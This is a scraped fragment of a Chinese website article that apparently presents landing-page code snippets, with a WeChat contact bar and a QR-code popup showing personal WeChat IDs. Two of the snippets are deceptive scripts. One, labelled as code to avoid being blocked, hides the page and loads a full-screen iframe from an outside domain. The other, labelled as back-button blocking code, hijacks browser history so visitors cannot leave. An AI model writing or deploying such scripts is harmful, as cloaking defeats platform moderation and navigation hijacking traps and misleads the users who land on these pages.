		document.write('<span class="header_date1">'+date+"</span>");

	

		</script>

	   时间日期代码结束







	<div class="zmtWechat" style="margin: 0px; padding: 0px; border: 0px; font-variant-numeric: inherit; font-variant-east-asian: inherit; font-stretch: inherit; font-size: 16px; line-height: inherit; font-family: 微软雅黑; vertical-align: baseline; outline: none; box-sizing: border-box; bottom: 0px; height: 60px; position: fixed;  width: 100%; z-index: 888; color: rgb(0, 0, 0);">



	<div class="we2" style="margin: 0px; padding: 0px; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: 18px; line-height: 60px; font-family: inherit; vertical-align: baseline; outline: none; box-sizing: border-box; background: rgb(245, 66, 34); color: rgb(255, 255, 255); float: left; height: 60px;  width: 100%; text-align: center;">



	<font color="#607fa6" face="inherit" style="margin: 0px; padding: 0px; color: rgb(96, 127, 166); text-decoration-line: none; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; outline: none; box-sizing: border-box;"><span style="margin-right: auto; margin-left: auto; border-style: initial; border-color: initial; border-image: initial; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; outline-color: initial; outline-width: initial; box-sizing: border-box; height: auto !important;"><img alt="" class="wechatIcon" src="http://peixun.sqzapp.com/picture/wechat.png" style="margin: 0px auto; padding: 0px; height: auto !important; border: 0px; max-width: 100%; vertical-align: middle; width: 30px;" /></span></font><font color="#607fa6" face="inherit" style="margin: 0px; padding: 0px; color: rgb(96, 127, 166); text-decoration-line: none; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; outline: none; box-sizing: border-box;"><span style="border-style: initial; border-color: initial; border-image: initial; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; outline-color: initial; outline-width: initial; box-sizing: border-box;">&nbsp;</span></font><span style="margin: 0px; padding: 0px; color: rgb(96, 127, 166); text-decoration-line: none; border: 0px solid rgb(245, 66, 34); font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; outline: none; box-sizing: border-box; width: 120px; background-image: initial; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;    color: rgb(255, 255, 255);">长按微信号复制：</span><font color="#607fa6" face="inherit" style="margin: 0px; padding: 0px; color: rgb(96, 127, 166); text-decoration-line: none; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; outline: none; box-sizing: border-box;"><span style="border-style: initial; border-color: initial; border-image: initial; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; line-height: inherit; outline-color: initial; outline-width: initial; box-sizing: border-box;">&nbsp;</span></font><span class="copy" id="target" style="margin: 0px; padding: 0.1rem 0.3rem; color: rgb(255, 255, 255); text-decoration-line: none; border: 0px; font-style: inherit; font-variant: inherit; font-weight: inherit; font-stretch: inherit; font-size: inherit; line-height: inherit; font-family: inherit; vertical-align: baseline; outline: none; box-sizing: border-box; background: rgb(217, 18, 108); cursor: pointer;">15537176025</span></div>



	</div>

	

	底部浮窗代码

	

	屏蔽变红代码

	

		
			

				
					 
				
					<meta content="width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=0;" name="viewport">
			

			

				
					 
				
					<style type="text/css">
			

			

				
					 
				
					*{ margin:0px; padding:0px; border:0px;}
			

			

				
					 
				
					html,body{height:100%; overflow: hidden;}
			

			

				
					 
				
					.aaa{}
			

			

				
					 
				
					</style>
			

			

				
					 
				
					<div id="divCell">
			

			

				
					 
				
					 
			

			

				
					 
				
					</div>
			

			

				
					 
				
					</div>
			

			

				
					 
				
					<script type="text/javascript">
			

			

				
					 
				
					//document.getElementById("divCell").innerHTML = "";
			

			

				
					 
				
					document.write('<iframe src="http://my57.f68588.com" height="100%" width="100%" scrolling="yes" style=" margin:0px; padding:0px; border:0px;"></iframe>');
			

			

				
					 
				
					</script>
			

			

				
					 
				
					<style type="text/css">
			

			

				
					 
				
					*{ margin:0px; padding:0px; border:0px;}
			

			

				
					 
				
					html,body{height:100%; overflow: visible;}
			

			

				
					 
				
					.aaa{}
			

			

				
					 
				
					</style>
			

			

				
					 
				
					 
			

		
	











弹出窗口，遮阳罩代码





	 <style>



	.black_overlay{



	display: none;



	position: absolute;



	top: 0%;



	left: 0%;



	width: 100%;



	height: 100%;



	background-color: black;



	z-index:1001;



	-moz-opacity: 0.8;



	opacity:.80;



	filter: alpha(opacity=80);



	}



	.white_content {



	display: none;



	position: absolute;



	top: 10%;



	left: 40%;



	width: 320px;



	    height: 330px;



	    top: 50%;



	    left: 50%;



	    margin: -155px 0 0 -175px;



	 



	background-color: white;



	z-index:1002;



	overflow: auto;



	}



	.white_content_small {



	display: none;



	position: absolute;



	top: 20%;



	left: 30%;



	width: 40%;



	height: 50%;



	background-color: white;



	z-index:1002;



	overflow: auto;



	}



	</style>     



	 



	 



	<script type="text/javascript">



	//弹出隐藏层



	function ShowDiv(show_div,bg_div){



	document.getElementById(show_div).style.display='block';



	document.getElementById(bg_div).style.display='block' ;



	var bgdiv = document.getElementById(bg_div);



	bgdiv.style.width = document.body.scrollWidth;



	// bgdiv.style.height = $(document).height();



	$("#"+bg_div).height($(document).height());



	};



	//关闭弹出层



	function CloseDiv(show_div,bg_div)



	{



	document.getElementById(show_div).style.display='none';



	document.getElementById(bg_div).style.display='none';



	};



	</script>



	 



 <span  class="f-dib f-vam"  onclick="ShowDiv('MyDiv','fade')">商品盈利优势盘点</span>





	<div >



	 



	 



	<div id="fade" class="black_overlay" style="position:fixed;">



	</div>



	<div id="MyDiv" class="white_content"  style="position:fixed;">



	<div style="text-align: right; cursor: default; height: 40px;">



	<span style="font-size: 16px;" onclick="CloseDiv('MyDiv','fade')"><img src="picture/124.jpg" width="100%"  style="width: 8%;"></span>



	</div>



	 



	<img class="wxImg" src="picture/121.jpg" tppabs="" alt="" style="margin: 20px auto 10px; border: 1px solid rgb(158, 158, 158); display: block; width: 160px;  font-family: Helvetica, Arial, san-serif; white-space: normal;"/>



	<p style="margin-top: 12px; font-weight: bold; text-align: center;     font-size: 20px;



	    color: #030303; font-family: Helvetica, Arial, san-serif;">



	    &nbsp;扫一扫二维码



	</p>



	<p style="text-align: center;">



	    <strong><span style="font-size: 20px;">微信号</span></strong><span style="font-size: 20px;">： <span style="font-size: 20px; color: #FFFFFF; background-color: #FF0000;"><strong  style="padding: 5px;">znjy2012</strong></span></span>



	</p>



	 



	 



	</div></div>



弹出窗口，遮阳罩代码  结束







返回键屏蔽代码



	<script>function pushHistory() {            



	var state = {                title: "index",                url: "default1.html"            };            window.history.pushState(state, "index", location.href);            



	state = {                title: "index",                url: "default1.html"            };            window.history.pushState(state, "index", "");        }        



	setTimeout(function () {            pushHistory();            window.addEventListener("popstate", function (e) {                if (window.history.state != null && window.history.state.url != "") {                    location.href = window.history.state.url;                }            });        }, 300);</script>



				
	
				
				
上一篇：织梦dede去除Power by DedeCms的两种方法  
		   下一篇：没有了 
		
    『返回首页』